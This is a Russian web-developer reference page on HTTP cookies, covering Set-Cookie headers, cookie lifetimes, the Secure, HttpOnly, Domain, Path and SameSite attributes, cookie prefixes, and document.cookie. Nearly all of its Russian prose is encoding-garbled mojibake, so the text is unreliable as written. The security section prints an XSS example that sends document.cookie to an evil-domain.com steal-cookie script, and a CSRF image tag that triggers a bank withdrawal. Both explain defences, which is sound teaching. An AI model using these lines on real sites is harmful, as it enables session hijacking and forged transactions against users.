HTTP-кÑки
HTTP cookie (web cookie, кÑки бÑаÑзеÑа) - ÑÑо неболÑÑой ÑÑÐ°Ð³Ð¼ÐµÐ½Ñ Ð´Ð°Ð½Ð½ÑÑ , коÑоÑÑй ÑеÑÐ²ÐµÑ Ð¾ÑпÑавлÑÐµÑ Ð±ÑаÑзеÑÑ Ð¿Ð¾Ð»ÑзоваÑелÑ. ÐÑаÑÐ·ÐµÑ Ð¼Ð¾Ð¶ÐµÑ ÑÐ¾Ñ ÑаниÑÑ ÑÑÐ¾Ñ ÑÑÐ°Ð³Ð¼ÐµÐ½Ñ Ñ ÑÐµÐ±Ñ Ð¸ оÑпÑавлÑÑÑ Ð½Ð° ÑеÑÐ²ÐµÑ Ñ ÐºÐ°Ð¶Ð´Ñм поÑледÑÑÑим запÑоÑом. ÐÑо, в ÑаÑÑноÑÑи, позволÑÐµÑ ÑзнаÑÑ, Ñ Ð¾Ð´Ð½Ð¾Ð³Ð¾ ли бÑаÑзеÑа пÑиÑли неÑколÑко запÑоÑов (напÑимеÑ, Ð´Ð»Ñ Ð°ÑÑенÑиÑикаÑии полÑзоваÑелÑ). С помоÑÑÑ ÐºÑк можно ÑÐ¾Ñ ÑаниÑÑ Ð»ÑбÑÑ Ð¸Ð½ÑоÑмаÑÐ¸Ñ Ð¾ ÑоÑÑоÑнии, HTTP-пÑоÑокол Ñам по Ñебе ÑÑого делаÑÑ Ð½Ðµ ÑмееÑ.
ÐÑки ÑаÑÑо иÑполÑзÑÑÑÑÑ Ð´Ð»Ñ:
- УпÑÐ°Ð²Ð»ÐµÐ½Ð¸Ñ ÑеанÑом (логинÑ, коÑÐ·Ð¸Ð½Ñ Ð´Ð»Ñ Ð²Ð¸ÑÑÑалÑнÑÑ Ð¿Ð¾ÐºÑпок)
- ÐеÑÑонализаÑии (полÑзоваÑелÑÑкие пÑедпоÑÑениÑ)
- ТÑекинга (оÑÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¿Ð¾Ð²ÐµÐ´ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑзоваÑелей)
Ðо недавнего вÑемени кÑки иÑполÑзовалиÑÑ Ð² каÑеÑÑве Ñ
ÑанилиÑа инÑоÑмаÑии на ÑÑоÑоне полÑзоваÑелÑ. ÐÑо могло имеÑÑ ÑмÑÑл в оÑÑÑÑÑÑвии ваÑианÑов, но ÑепеÑÑ, когда в ÑаÑпоÑÑжении бÑаÑзеÑов поÑвилиÑÑ ÑазлиÑнÑе API Ð´Ð»Ñ Ñ
ÑÐ°Ð½ÐµÐ½Ð¸Ñ Ð´Ð°Ð½Ð½ÑÑ
, ÑÑо Ñже не Ñак. Ðз-за Ñого ÑÑо кÑки пеÑеÑÑлаÑÑÑÑ Ñ ÐºÐ°Ð¶Ð´Ñм запÑоÑом, они могÑÑ ÑÑ
ÑдÑаÑÑ Ð¿ÑоизводиÑелÑноÑÑÑ (оÑобенно пÑи иÑполÑзовании мобилÑнÑÑ
ÑеÑей). РкаÑеÑÑве Ñ
ÑÐ°Ð½Ð¸Ð»Ð¸Ñ Ð´Ð°Ð½Ð½ÑÑ
на ÑÑоÑоне полÑзоваÑÐµÐ»Ñ Ð²Ð¼ÐµÑÑо ниÑ
можно иÑполÑзоваÑÑ Web storage API (localStorage и sessionStorage) и IndexedDB.
ÐÑимеÑание: ЧÑÐ¾Ð±Ñ Ð¿Ð¾ÑмоÑÑеÑÑ ÑÐ¾Ñ ÑанÑннÑе кÑки и дÑÑгие Ñ ÑанилиÑа даннÑÑ , коÑоÑÑе иÑполÑзÑÐµÑ Ð²ÐµÐ±-ÑÑÑаниÑа, можно иÑполÑзоваÑÑ Storage Inspector (ÐнÑпекÑÐ¾Ñ Ñ ÑанилиÑа) в инÑÑÑÑменÑÐ°Ñ ÑазÑабоÑÑика.
Создание кÑки
ÐолÑÑив HTTP-запÑоÑ, вмеÑÑе Ñ Ð¾ÑвеÑом ÑеÑÐ²ÐµÑ Ð¼Ð¾Ð¶ÐµÑ Ð¾ÑпÑавиÑÑ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²Ð¾Ðº Set-Cookie. ÐÑки обÑÑно запоминаÑÑÑÑ Ð±ÑаÑзеÑом и поÑÑлаÑÑÑÑ Ð² HTTP-заголовке Cookie Ñ ÐºÐ°Ð¶Ð´Ñм новÑм запÑоÑом к Ð¾Ð´Ð½Ð¾Ð¼Ñ Ð¸ ÑÐ¾Ð¼Ñ Ð¶Ðµ ÑеÑвеÑÑ. Ðожно задаÑÑ ÑÑок дейÑÑÐ²Ð¸Ñ ÐºÑк, а Ñакже ÑÑок иÑ
жизни, поÑле коÑоÑого кÑки не бÑдÑÑ Ð¾ÑпÑавлÑÑÑÑÑ. Также можно ÑказаÑÑ Ð¾Ð³ÑаниÑÐµÐ½Ð¸Ñ Ð½Ð° пÑÑÑ Ð¸ домен, Ñо еÑÑÑ ÑказаÑÑ, в ÑеÑении какого вÑемени и к ÐºÐ°ÐºÐ¾Ð¼Ñ ÑайÑÑ Ð¾Ð½Ð¸ бÑдÑÑ Ð¾ÑÑÑлаÑÑÑÑ.
Ðаголовки Set-Cookie и Cookie
Ðаголовок Set-Cookie HTTP-оÑвеÑа иÑполÑзÑеÑÑÑ Ð´Ð»Ñ Ð¾ÑпÑавки кÑки Ñ ÑеÑвеÑа в клиенÑÑкое пÑиложение (бÑаÑзеÑ). ÐÑоÑÑой кÑки Ð¼Ð¾Ð¶ÐµÑ Ð·Ð°Ð´Ð°Ð²Ð°ÑÑÑÑ Ñак:
Set-Cookie: <имÑ-кÑки>=<заголовок-кÑки>
ÐÑÐ¾Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²Ð¾Ðº Ñ ÑеÑвеÑа даÑÑ ÐºÐ»Ð¸ÐµÐ½ÑÑ Ñказание ÑоÑ
ÑаниÑÑ ÐºÑки (ÑÑо делаÑÑ, напÑимеÑ, PHP, Node.js, Python и Ruby on Rails). ÐÑвеÑ, оÑпÑавлÑемÑй бÑаÑзеÑÑ, ÑодеÑÐ¶Ð¸Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²Ð¾Ðº Set-Cookie, и кÑки запоминаеÑÑÑ Ð±ÑаÑзеÑом.
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
ТепеÑÑ Ñ ÐºÐ°Ð¶Ð´Ñм новÑм запÑоÑом к ÑеÑвеÑÑ Ð¿Ñи помоÑи заголовка Cookie бÑаÑÐ·ÐµÑ Ð±ÑÐ´ÐµÑ Ð²Ð¾Ð·Ð²ÑаÑаÑÑ ÑеÑвеÑÑ Ð²Ñе ÑоÑ
ÑанÑннÑе Ñанее кÑки.
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
СеÑÑионнÑе cookie
ÐÑоÑÑой cookie, пÑÐ¸Ð¼ÐµÑ ÐºÐ¾ÑоÑого пÑиведÑн вÑÑе, пÑедÑÑавлÑÐµÑ Ñобой ÑеÑÑионнÑй cookie (session cookie) - Ñакие cookie ÑдалÑÑÑÑÑ Ð¿Ñи закÑÑÑии клиенÑа, Ñо еÑÑÑ ÑÑÑеÑÑвÑÑÑ ÑолÑко на пÑоÑÑжении ÑекÑÑего ÑеанÑа, поÑколÑÐºÑ Ð°ÑÑибÑÑÑ Expires или Max-Age Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ не задаÑÑÑÑ. Ðднако, еÑли в бÑаÑзеÑе вклÑÑено авÑомаÑиÑеÑкое воÑÑÑановление ÑеанÑа, ÑÑо ÑлÑÑаеÑÑÑ Ð¾ÑÐµÐ½Ñ ÑаÑÑо, cookie ÑеанÑа Ð¼Ð¾Ð¶ÐµÑ Ñ
ÑаниÑÑÑÑ Ð¿Ð¾ÑÑоÑнно, как еÑли Ð±Ñ Ð±ÑаÑÐ·ÐµÑ Ð½Ð¸ÐºÐ¾Ð³Ð´Ð° не закÑÑвалÑÑ.
ÐоÑÑоÑннÑе cookies
ÐоÑÑоÑннÑе cookie (permanent cookies) ÑдалÑÑÑÑÑ Ð½Ðµ Ñ Ð·Ð°ÐºÑÑÑием клиенÑа, а пÑи наÑÑÑплении опÑеделÑнной даÑÑ (аÑÑибÑÑ Expires) или поÑле опÑеделÑнного инÑеÑвала вÑемени (аÑÑибÑÑ Max-Age).
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Secure ("безопаÑнÑе") и HttpOnly кÑки
"ÐезопаÑнÑе" (secure) кÑки оÑÑÑлаÑÑÑÑ Ð½Ð° ÑеÑÐ²ÐµÑ ÑолÑко Ñогда, когда запÑÐ¾Ñ Ð¾ÑпÑавлÑеÑÑÑ Ð¿Ð¾ пÑоÑÐ¾ÐºÐ¾Ð»Ñ SSL и HTTPS. Ðднако важнÑе даннÑе никогда не ÑледÑÐµÑ Ð¿ÐµÑедаваÑÑ Ð¸Ð»Ð¸ Ñ
ÑаниÑÑ Ð² кÑкаÑ
, поÑколÑÐºÑ Ñам иÑ
меÑ
анизм веÑÑма ÑÑзвим в оÑноÑении безопаÑноÑÑи, а Ñлаг secure никакого дополниÑелÑного ÑиÑÑÐ¾Ð²Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ ÑÑедÑÑв заÑиÑÑ Ð½Ðµ обеÑпеÑиваеÑ. ÐаÑÐ¸Ð½Ð°Ñ Ñ Chrome 52 и Firefox 52, незаÑиÑÑннÑе ÑайÑÑ (http:) не могÑÑ ÑоздаваÑÑ ÐºÑки Ñ Ñлагом Secure.
ÐÑки HTTPonly не доÑÑÑÐ¿Ð½Ñ Ð¸Ð· JavaScript ÑеÑез ÑвойÑÑва Document.cookie API, ÑÑо Ð¿Ð¾Ð¼Ð¾Ð³Ð°ÐµÑ Ð¸Ð·Ð±ÐµÐ¶Ð°ÑÑ Ð¼ÐµÐ¶ÑайÑового ÑкÑипÑинга (XSS). УÑÑанавливайÑе ÑÑÐ¾Ñ Ñлаг Ð´Ð»Ñ ÑеÑ
кÑк, к коÑоÑÑм не ÑÑебÑеÑÑÑ Ð¾Ð±ÑаÑаÑÑÑÑ ÑеÑез JavaScript. Ð ÑаÑÑноÑÑи, еÑли кÑки иÑполÑзÑÑÑÑÑ ÑолÑко Ð´Ð»Ñ Ð¿Ð¾Ð´Ð´ÐµÑжки ÑеанÑа, Ñо в JavaScript они не нÑжнÑ, Ñак ÑÑо в ÑÑом ÑлÑÑае ÑледÑÐµÑ ÑÑÑанавливаÑÑ Ñлаг HttpOnly.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
ÐблаÑÑÑ Ð²Ð¸Ð´Ð¸Ð¼Ð¾ÑÑи кÑки
ÐиÑекÑÐ¸Ð²Ñ Domain и Path опÑеделÑÑÑ Ð¾Ð±Ð»Ð°ÑÑÑ Ð²Ð¸Ð´Ð¸Ð¼Ð¾ÑÑи кÑки, Ñо еÑÑÑ Ñе URL-адÑеÑа, к коÑоÑÑм кÑки бÑдÑÑ Ð¾ÑÑÑлаÑÑÑÑ.
ÐÑÑибÑÑ Domain
ÐÑÑибÑÑ Domain ÑказÑÐ²Ð°ÐµÑ Ñ
оÑÑÑ, на коÑоÑÑе оÑÑÑлаÑÑÑÑ ÐºÑки. ÐÑли он не задан, Ñо по ÑмолÑÐ°Ð½Ð¸Ñ Ð±ÐµÑÑÑÑÑ Ð´Ð¾Ð¼ÐµÐ½Ð½Ð°Ñ ÑаÑÑÑ Ð°Ð´ÑеÑа докÑменÑа (но без поддоменов). ÐÑли домен Ñказан Ñвно, Ñо Ð¿Ð¾Ð´Ð´Ð¾Ð¼ÐµÐ½Ñ Ð²Ñегда вклÑÑенÑ.
ÐапÑимеÑ, еÑли задано Domain=mozilla.org, Ñо кÑки вклÑÑÐµÐ½Ñ Ð¸ в поддоменаÑ
, напÑимеÑ, в developer.mozilla.org.
ÐÑÑибÑÑ Path
ÐÑÑибÑÑ Path ÑказÑÐ²Ð°ÐµÑ URL, коÑоÑÑй должен бÑÑÑ Ð² запÑаÑиваемом ÑеÑÑÑÑе на Ð¼Ð¾Ð¼ÐµÐ½Ñ Ð¾ÑпÑавки заголовка Cookie. Символ %x2F ("/") инÑеÑпÑеÑиÑÑеÑÑÑ ÐºÐ°Ðº ÑазделиÑÐµÐ»Ñ Ð² URL-пÑÑи, подпÑÑи Ñакже бÑдÑÑ ÑÑиÑÑваÑÑÑÑ.
ÐÑли задан Path=/docs, Ñо ÑовпадаÑÑ Ð±ÑдÑÑ ÑледÑÑÑие пÑÑи:
/docs/docs//docs/Web//docs/Web/HTTP
Ð ÑÑи пÑÑи ÑовпадаÑÑ Ð½Ðµ бÑдÑÑ:
//docsets/fr/docs
ÐÑки SameSite
ÐÑки оÑпÑавлÑÑÑÑÑ Ð½Ð° ÑеÑÐ²ÐµÑ Ð¿Ñи лÑбÑÑ Ð·Ð°Ð¿ÑоÑÐ°Ñ , даже еÑли запÑаÑиваеÑÑÑ ÑÑаÑиÑеÑкий ÑеÑÑÑÑ Ñ ÑÑжого ÑеÑвеÑа, Ñо еÑÑÑ ÐµÑли пÑоиÑÑ Ð¾Ð´Ð¸Ñ Ð¼ÐµÐ¶ÑайÑовÑй запÑоÑ. ÐапÑимеÑ, еÑли ÑÑÑаниÑа ÑайÑа site.com ÑодеÑÐ¶Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñажение ÑайÑа site.net, пÑи запÑоÑе изобÑÐ°Ð¶ÐµÐ½Ð¸Ñ Ð² запÑоÑе бÑдÑÑ Ð¾ÑпÑÐ°Ð²Ð»ÐµÐ½Ñ Ð²Ñе кÑки полÑзоваÑÐµÐ»Ñ Ð´Ð»Ñ site.net. ЧÑÐ¾Ð±Ñ Ð¾Ð³ÑаниÑиÑÑ Ð¾ÑпÑÐ°Ð²ÐºÑ ÐºÑк ÑолÑко ÑÐ¾Ð¼Ñ ÑайÑÑ, коÑоÑÐ¾Ð¼Ñ Ð¾Ð½Ð¸ пÑинадлежаÑ, иÑполÑзÑÑÑ Ð°ÑÑибÑÑ SameSite.
C помоÑÑÑ Ð°ÑÑибÑÑа SameSite можно ÑказаÑÑ, когда и как оÑпÑавлÑÑÑ ÐºÑки Ñ Ð¼ÐµÐ¶ÑайÑовÑми запÑоÑами (где ÑÐ°Ð¹Ñ Ð¾Ð¿ÑеделÑеÑÑÑ ÐºÐ¾Ð¼Ð±Ð¸Ð½Ð°Ñией домена и ÑÑ
ÐµÐ¼Ñ http: или https:). РнекоÑоÑой ÑÑепени ÑÑÐ¾Ñ Ð°ÑÑибÑÑ Ð·Ð°ÑиÑÐ°ÐµÑ Ð¾Ñ Ð¼ÐµÐ¶ÑайÑовой подделки запÑоÑа (CSRF). SameSite Ð¼Ð¾Ð¶ÐµÑ Ð¿ÑинимаÑÑ ÑÑи возможнÑÑ
знаÑениÑ: Strict, Lax и None.
С аÑÑибÑÑом Strict кÑки бÑдÑÑ Ð¾ÑпÑавлÑÑÑÑÑ ÑолÑко ÑÐ¾Ð¼Ñ ÑайÑÑ, коÑоÑÐ¾Ð¼Ñ ÑÑи кÑки пÑинадлежаÑ. ÐÑÑибÑÑ Lax ÑабоÑÐ°ÐµÑ Ð¿Ð¾Ñ
оже, но кÑки бÑдÑÑ Ð¾ÑпÑавлÑÑÑÑÑ Ñакже пÑи навигаÑии на ÑÐ¾Ñ ÑайÑ, коÑоÑÐ¾Ð¼Ñ Ð¿ÑÐ¸Ð½Ð°Ð´Ð»ÐµÐ¶Ð°Ñ ÐºÑки. ÐапÑимеÑ, пÑи пеÑеÑ
оде по ÑÑÑлке Ñ Ð²Ð½ÐµÑнего ÑайÑа. ÐÑÑибÑÑ None оÑклÑÑÐ°ÐµÑ Ð¾Ð³ÑаниÑение на оÑпÑÐ°Ð²ÐºÑ ÐºÑк Ð´Ð»Ñ Ð¼ÐµÐ¶ÑайÑовÑÑ
запÑоÑов, но ÑолÑко в безопаÑном конÑекÑÑе (Ñо еÑÑÑ ÐµÑли ÑÑÑановлен SameSite=None, Ñогда Ñакже должен бÑÑÑ ÑÑÑановлен аÑÑибÑÑ Secure). ÐÑли аÑÑибÑÑ SameSite не ÑÑÑановлен, кÑки бÑдÑÑ Ð²Ð¾ÑпÑинимаÑÑÑÑ ÐºÐ°Ðº Lax.
ÐÑимеÑ:
Set-Cookie: mykey=myvalue; SameSite=Strict
ÐÑимеÑание: Ð ÑаблиÑе ÑовмеÑÑимоÑÑи Ð²Ñ Ð¼Ð¾Ð¶ÐµÑе найÑи инÑоÑмаÑÐ¸Ñ Ð¾ Ñом, как обÑабаÑÑваÑÑÑÑ Ð°ÑÑибÑÑÑ Ð² конкÑеÑнÑÑ Ð²ÐµÑÑиÑÑ Ð±ÑаÑзеÑов.
ÐÑки Ñ Ð¿ÑеÑикÑами
Ðз-за дизайна Ð¼ÐµÑ Ð°Ð½Ð¸Ð·Ð¼Ð° кÑк ÑеÑÐ²ÐµÑ Ð½Ðµ Ð¼Ð¾Ð¶ÐµÑ Ð¿Ð¾Ð´ÑвеÑдиÑÑ, ÑÑо кÑки бÑли оÑпÑÐ°Ð²Ð»ÐµÐ½Ñ Ñ Ð·Ð°ÑиÑÑнного иÑÑоÑника (secure origin), или бÑÑÑ ÑвеÑеннÑм в Ñом, где именно они бÑли ÑÑÑановленÑ.
УÑзвимое пÑиложение поддомена Ð¼Ð¾Ð¶ÐµÑ ÑÑÑановиÑÑ ÐºÑÐºÑ Ñ Ð°ÑÑибÑÑом Domain, Ñем ÑамÑм оÑкÑÑÐ²Ð°Ñ Ðº ней доÑÑÑп на вÑеÑ
дÑÑгиÑ
поддоменнаÑ
. ÐÑÐ¾Ñ Ð¼ÐµÑ
анизм Ð¼Ð¾Ð¶ÐµÑ ÑкÑплÑаÑиÑоваÑÑÑÑ Ñ Ð°Ñакой ÑикÑаÑÐ¸Ñ ÑеÑÑии.
ÐÑимеÑание: ÐзнакомÑÑеÑÑ Ñо ÑÑаÑÑÑй ÑикÑаÑÐ¸Ñ ÑеÑÑии, ÑÑÐ¾Ð±Ñ ÑзнаÑÑ Ð¾Ð± оÑновнÑÑ Ð¼ÐµÑÐ¾Ð´Ð°Ñ Ð·Ð°ÑиÑÑ Ð¾Ñ ÑÑой аÑаки.
Тем не менее в ÑооÑвеÑÑÑвии Ñ Ð¿ÑинÑипом заÑиÑа в глÑÐ±Ð¸Ð½Ñ Ð²Ñ Ð¼Ð¾Ð¶ÐµÑе иÑполÑзоваÑÑ ÐºÑки Ñ Ð¿ÑеÑикÑами, ÑÑÐ¾Ð±Ñ Ð³Ð°ÑанÑиÑоваÑÑ ÑпеÑиÑиÑеÑкие ÑакÑÑ Ð¾ кÑÐºÐ°Ñ . ÐоÑÑÑÐ¿Ð½Ñ Ð´Ð²Ð° пÑеÑикÑа:
__Host--
ÐÑли в кÑке ÑодеÑжиÑÑÑ ÑÑÐ¾Ñ Ð¿ÑеÑикÑ, она бÑÐ´ÐµÑ ÑÑÑановлена заголовком
Set-CookieÑолÑко в Ñом ÑлÑÑае, еÑли кÑка бÑÐ´ÐµÑ ÑодеÑжаÑÑ Ð°ÑÑибÑÑSecureи еÑли запÑÐ¾Ñ Ð±ÑÐ´ÐµÑ Ð¾ÑпÑавлÑÑÑÑÑ Ð¸Ð· заÑиÑÑнного иÑÑоÑника. Также кÑка не должна вклÑÑаÑÑ Ð°ÑÑибÑÑDomainи должна ÑодеÑжаÑÑ Ð°ÑÑибÑÑPathÑо знаÑением/. __Secure--
ÐÑли в кÑке ÑодеÑжиÑÑÑ ÑÑÐ¾Ñ Ð¿ÑеÑикÑ, она бÑÐ´ÐµÑ ÑÑÑановлена заголовком
Set-CookieÑолÑко в Ñом ÑлÑÑае, еÑли кÑка бÑÐ´ÐµÑ ÑодеÑжаÑÑ Ð°ÑÑибÑÑSecureи еÑли запÑÐ¾Ñ Ð±ÑÐ´ÐµÑ Ð¾ÑпÑавлÑÑÑÑÑ Ð¸Ð· заÑиÑÑнного иÑÑоÑника. ÐаÑиÑа Ñ Ð¿Ð¾Ð¼Ð¾ÑÑÑ ÑÑого пÑеÑикÑа Ñлабее по ÑÑÐ°Ð²Ð½ÐµÐ½Ð¸Ñ Ñ Ð¿ÑеÑикÑом__Host-.
ÐÑаÑзеÑÑ Ð±ÑдÑÑ Ð¾ÑклонÑÑÑ ÑÑÑÐ°Ð½Ð¾Ð²ÐºÑ ÑÑÐ¸Ñ ÐºÑк, еÑли они не бÑдÑÑ ÑдовлеÑвоÑÑÑÑ Ð²Ñем огÑаниÑениÑм. ÐамеÑÑÑе, ÑÑо кÑки Ñ Ð¿ÑеÑикÑами, ÑозданнÑе в ÑÐ°Ð¼ÐºÐ°Ñ Ð¿Ð¾Ð´Ð´Ð¾Ð¼ÐµÐ½Ð°, бÑдÑÑ Ð¾Ð³ÑаниÑиваÑÑÑÑ ÑолÑко им или бÑдÑÑ Ð¿Ð¾Ð»Ð½Ð¾ÑÑÑÑ Ð¸Ð³Ð½Ð¾ÑиÑоваÑÑÑÑ. Так как бÑкенд пÑовеÑÑÐµÑ ÑолÑко кÑки Ñ Ð·Ð°Ñанее извеÑÑнÑми именами пÑи авÑоÑизаÑии полÑзоваÑÐµÐ»Ñ Ð¸Ð»Ð¸ валидаÑии CSRF-Ñокена, кÑки Ñ Ð¿ÑеÑикÑами ÑакÑиÑеÑки ÑабоÑаÑÑ ÐºÐ°Ðº заÑиÑнÑй Ð¼ÐµÑ Ð°Ð½Ð¸Ð·Ð¼ Ð¾Ñ ÑикÑаÑии ÑеÑÑии.
ÐÑимеÑание:
ÐÑкенд веб-пÑÐ¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¾Ð±Ñзан обÑаÑаÑÑÑÑ Ð¿Ð¾ Ð¿Ð¾Ð»Ð½Ð¾Ð¼Ñ Ð¸Ð¼ÐµÐ½Ð¸ кÑки, вклÑÑÐ°Ñ Ð¿ÑеÑикÑ. ÐолÑзоваÑелÑÑкие агенÑÑ Ð½Ðµ ÑдалÑÑÑ Ð¿ÑеÑÐ¸ÐºÑ Ð¸Ð· имени кÑк пеÑед иÑ
оÑпÑавкой в HTTP-заголовке Cookie.
ÐÐ»Ñ Ð¿Ð¾Ð»ÑÑÐµÐ½Ð¸Ñ Ð¸Ð½ÑоÑмаÑии о ÑÑаÑÑÑе поддеÑжки пÑеÑикÑов в ÑазнÑÑ
бÑаÑзеÑаÑ
обÑаÑиÑеÑÑ Ðº ÑÑаÑÑе пÑо Set-Cookie.
ÐоÑÑÑп из JavaScript Ñ Ð¿Ð¾Ð¼Ð¾ÑÑÑ Document.cookie
ÐÑки можно ÑоздаваÑÑ Ñ Ð¿Ð¾Ð¼Ð¾ÑÑÑ JavaScript, иÑполÑзÑÑ DOM-ÑвойÑÑво Document.cookie. Также можно ÑиÑаÑÑ ÐºÑки из JavaScript, еÑли не бÑл ÑÑÑановлен аÑÑибÑÑ HttpOnly.
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// вÑÐ²ÐµÐ´ÐµÑ "yummy_cookie=choco; tasty_cookie=strawberry"
ÐÑки, ÑозданнÑе Ñ Ð¿Ð¾Ð¼Ð¾ÑÑÑ JavaScript, не могÑÑ ÑодеÑжаÑÑ Ð°ÑÑибÑÑ HttpOnly.
ÐожалÑйÑÑа, ÑÑиÑÑвайÑе вÑÑекаÑÑие из ÑÑого пÑоблемÑ, пÑо коÑоÑÑе ÑаÑÑказÑваеÑÑÑ Ð½Ð¸Ð¶Ðµ в Ñазделе ÐезопаÑноÑÑÑ. ÐÑки, доÑÑÑпнÑе Ð´Ð»Ñ JavaScript, могÑÑ Ð±ÑÑÑ Ð¿Ð¾Ñ Ð¸ÑÐµÐ½Ñ Ð¿Ð¾ÑÑедÑÑвом XSS.
ÐезопаÑноÑÑÑ
ÐÑимеÑание: ÐÑи ÑÐ¾Ñ Ñанении инÑоÑмаÑии в кÑÐºÐ°Ñ Ð¸Ð¼ÐµÐ¹Ñе в видÑ, ÑÑо Ñ Ð²ÑÐµÑ Ð¿Ð¾Ð»ÑзоваÑелей еÑÑÑ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾ÑÑÑ Ð¿ÑоÑмаÑÑиваÑÑ Ð¸ изменÑÑÑ Ð¸Ñ Ð·Ð½Ð°ÑениÑ. РзавиÑимоÑÑи Ð¾Ñ Ñипа пÑÐ¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð²Ñ Ð¼Ð¾Ð¶ÐµÑе иÑполÑзоваÑÑ Ð½Ð¸ о ÑÑм не говоÑÑÑее Ð¸Ð¼Ñ Ð´Ð»Ñ Ð¸Ð´ÐµÐ½ÑиÑикаÑоÑа кÑк, ÑмÑÑл коÑоÑого бÑÐ´ÐµÑ Ð¿Ð¾Ð½ÑÑен ÑолÑко бÑкендÑ. Также Ð²Ñ Ð¼Ð¾Ð¶ÐµÑе ÑаÑÑмоÑÑеÑÑ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾ÑÑÑ Ð¸ÑполÑÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð°Ð»ÑÑеÑнаÑивнÑÑ Ð¼ÐµÑ Ð°Ð½Ð¸Ð·Ð¼Ð¾Ð² аÑÑенÑиÑикаÑии и конÑиденÑиалÑноÑÑи, напÑимеÑ, JSON Web Tokens
СпоÑÐ¾Ð±Ñ Ð¿ÑедоÑвÑаÑÐµÐ½Ð¸Ñ Ð°Ñак, иÑполÑзÑÑÑÐ¸Ñ ÐºÑки:
- ÐÑполÑзÑйÑе аÑÑибÑÑ
HttpOnlyÐ´Ð»Ñ Ð¿ÑедоÑвÑаÑÐµÐ½Ð¸Ñ Ð´Ð¾ÑÑÑпа к кÑкам из JavaScript. - ÐÑки, коÑоÑÑе иÑполÑзÑÑÑÑÑ Ð´Ð»Ñ Ñ
ÑÐ°Ð½ÐµÐ½Ð¸Ñ ÑÑвÑÑвиÑелÑной инÑоÑмаÑии, Ñакой как аÑÑенÑиÑикаÑионнÑй Ñокен, Ð´Ð¾Ð»Ð¶Ð½Ñ Ð¸Ð¼ÐµÑÑ ÐºÐ¾ÑоÑкое вÑÐµÐ¼Ñ Ð¶Ð¸Ð·Ð½Ð¸ и аÑÑибÑÑ
SameSite, ÑÑÑановленнÑй вStrictилиLax. ÐÐ»Ñ Ñого ÑÑÐ¾Ð±Ñ ÑзнаÑÑ Ð±Ð¾Ð»ÑÑе, ÑмоÑÑиÑе Ñаздел SameSite. РбÑаÑзеÑÐ°Ñ Ñ Ð¿Ð¾Ð´Ð´ÐµÑжкой SameSite ÑÑо гаÑанÑиÑÑÐµÑ Ð¿ÑедоÑвÑаÑение оÑпÑавки кÑк аÑÑенÑиÑикаÑии Ñ Ð¼ÐµÐ¶ÑайÑовÑми запÑоÑами, ÑакÑиÑеÑки Ñакие запÑоÑÑ Ñ ÑоÑки зÑÐµÐ½Ð¸Ñ Ð±Ñкенда ÑÑановÑÑÑÑ Ð½ÐµÐ°ÑÑенÑиÑиÑиÑованнÑми.
ÐÐ°Ñ Ð²Ð°Ñ ÑеÑÑии (session hijacking) и XSS
ÐÑки ÑаÑÑо иÑполÑзÑÑÑÑÑ Ð² веб-пÑиложениÑÑ Ð´Ð»Ñ Ð¸Ð´ÐµÐ½ÑиÑикаÑии аÑÑенÑиÑиÑиÑованного полÑзоваÑÐµÐ»Ñ Ð¸ ÑеанÑа ÑабоÑÑ. СооÑвеÑÑÑвенно, Ð¿Ð¾Ñ Ð¸Ñение кÑк из пÑÐ¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð¶ÐµÑ Ð¿ÑивеÑÑи к Ð·Ð°Ñ Ð²Ð°ÑÑ Ð°Ð²ÑоÑизованного ÑеанÑа полÑзоваÑелÑ. ÐÑажа кÑк ÑаÑÑо оÑÑÑеÑÑвлÑеÑÑÑ Ð¿Ð¾ÑÑедÑÑвом ÑоÑиалÑной инженеÑии (Social Engineering) и иÑполÑÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÑÑзвимоÑÑи XSS.
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
ÐÑÑибÑÑ HttpOnly Ð¿Ð¾Ð¼Ð¾Ð³Ð°ÐµÑ ÑменÑÑиÑÑ ÑÑÑ ÑгÑозÑ, пеÑекÑÑÐ²Ð°Ñ Ð´Ð¾ÑÑÑп к кÑкам из JavaScript.
ÐежÑайÑÐ¾Ð²Ð°Ñ Ð¿Ð¾Ð´Ð´ÐµÐ»ÐºÐ° запÑоÑа (CSRF - Cross-site request forgery)
Ð Wikipedia еÑÑÑ Ñ Ð¾ÑоÑий пÑÐ¸Ð¼ÐµÑ CSRF. Ð ÑообÑение, напÑимеÑ, в ÑаÑе или на ÑоÑÑме, вклÑÑаÑÑ "изобÑажение", коÑоÑое, на Ñамом деле, пÑедÑÑавлÑÐµÑ Ñобой запÑÐ¾Ñ Ðº ÑеÑвеÑÑ Ð±Ð°Ð½ÐºÐ° на ÑнÑÑие денег:
<img
src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
